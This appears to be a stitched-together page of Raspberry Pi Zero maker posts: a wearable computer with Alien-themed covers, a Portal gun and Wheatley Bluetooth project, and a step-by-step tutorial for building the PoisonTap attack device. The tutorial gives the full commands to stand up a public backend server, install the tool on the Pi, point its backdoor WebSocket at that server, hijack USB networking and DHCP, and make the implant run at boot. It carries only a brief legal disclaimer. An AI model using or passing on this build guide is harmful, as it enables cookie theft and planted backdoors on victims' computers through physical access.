#pi zero

"In the pipe, five by five"

Tried new can covers on the MKVII wearable computer.

Alien was an obvious choice, due to the availability of fan art. I laser printed clear plastic, then masked and spray painted the colors. Laser prints never 'pop' like real paint.

Thank you for being patient about the delay of posts! We had a lot of programming challenges that delayed things significantly. Many of the add on software boards we use are dropping support for Python 2.7 and moving to Python 3. Overall this is a nice change, but we did have to re-write some code. 

Some updates!

1. The Bluetooth connection on both the portal gun and Wheatley will now detect when the other is shut down or out of range and re-connect automatically.

2. The joystick and buttons on the Portal Gun now all work with Wheatley and actions show up on the tiny mounted display on the portal gun. The software will also now allow you to adjust speaker volume and eye brightness on Wheatley from the Portal Gun in addition to selecting the animation to play. The tiny display also lets you know when the Bluetooth connection is re-connecting.

3. With the new Python 3 library for the servo controller, we have to change the code to control the servos from a signal that used milliseconds to angles or rotation. Thus, we re-calibrated all of the servo’s on Wheatley to work with the new software.

Samy Kamkars Poison tap is probably one of the most exciting raspberry pi0 infosec focused projects out there at the moment. not only is poison tap a really powerful tool but its also relatively cheap to build (this whole project only cost me about $40).

As always disclaimer trying to run Poison tap on infrastructure that is not your own or that you don't have permission to access is most likely illegal, don't try this at home kids.

Lets launch into Poison tap!

What you will need

So for this project you will need the following items to build a working poisontap setup:

A Raspberry pi zero.

A publicly accessible web server.

An SD card (to install raspbian on - it should be at least 16GB).

A micro usb cable.

Building the image

Run the following linux / unix commands to install raspbian on your sd card

Last login: Sun Feb 19 15:16:09 on ttys001 MBP:~ secsleuth$ ls 2017-03-02-raspbian-jessie.img MBP:~ secsleuth$ sudo dd bs=1m if=2017-03-02-raspbian-jessie.img of=/dev/disk2 4190+0 records in 4190+0 records out 4393533440 bytes transferred in 1346.772204 secs (3262269 bytes/sec) MBP:~ secsleuth$

After creating the image we need to make a file called "ssh" and copy it to the root of the SD card so that the pi0 will be accessible over ssh.

Installing the Poison tap tools on your server

When running poisontap you will need a server for your pi0 to pipe data to, you can get your server up and running by running the following commands:

$ sudo apt-get install git npm $ sudo npm install websocket $ curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash - $ sudo apt-get install nodejs $ git clone https://github.com/samyk/poisontap $ cd poisontap $ sudo node backend_server.js & Sat Apr 01 2017 08:30:47 GMT+0000 (UTC) Server is listening on port 1337

Now your server is ready and listening for your poisontap. Please note that your server must be publicly accessible so for this server I am using an AWS hosted instance.

Configuring your poison tap

Like we just did for the webserver we must now ssh into our raspberry pi0 and complete the poisontap setup with the following commands:

$ sudo apt-get -y install isc-dhcp-server dsniff git $ curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash - $ sudo apt-get install nodejs $ git clone https://github.com/samyk/poisontap $ cd poisontap

now update the backdoor.html file to point to the webserver we setup earlier:

var socket = new WebSocket('ws://<amazon EC2 instance address>:1337');

Next we need to add the following to the bottom of the /etc/network/interfaces file

auto usb0 allow-hotplug usb0 iface usb0 inet static address 1.0.0.1 netmask 0.0.0.0

Now we need to update the pi0's DHCP config to work with poisontap so run the following command:

$ sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf

We also need to add the following entry to the bottom of the /etc/default/isc-dhcp-server file:

INTERFACES="usb0"

Now we just need to make sure that poisontap runs on startup so to do this we need to run the following commands:

$ sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/ $ sudo chmod +x /etc/init.d/pi_startup.sh

And we need to add the below to /etc/rc.local file just before it says exit 0

/etc/init.d/pi_startup.sh &

And thats it now your poisontap device is ready!

Conclusions

Now you are ready to go with your poisontap device! here is a look at my finished setup:

As always I hope you found this tutorial useful. Please let me know if you would like to see more tutorials on the raspberry pi0 or similar devices and thank you all for your support!

I was jealous of the MK 7, but the ball joints get caught in my hair. So, we're making a new version.

My GRID/Aliens themed palmtop is coming right along.